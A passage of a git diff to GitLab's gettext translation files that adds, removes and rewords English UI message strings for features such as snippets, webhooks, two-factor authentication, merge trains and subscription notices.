msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/fi_FI/gitlab.po b/locale/fi_FI/gitlab.po
index 756d98a301d..3250cc6c127 100644
--- a/locale/fi_FI/gitlab.po
+++ b/locale/fi_FI/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:45\n"
+"PO-Revision-Date: 2020-09-04 23:07\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
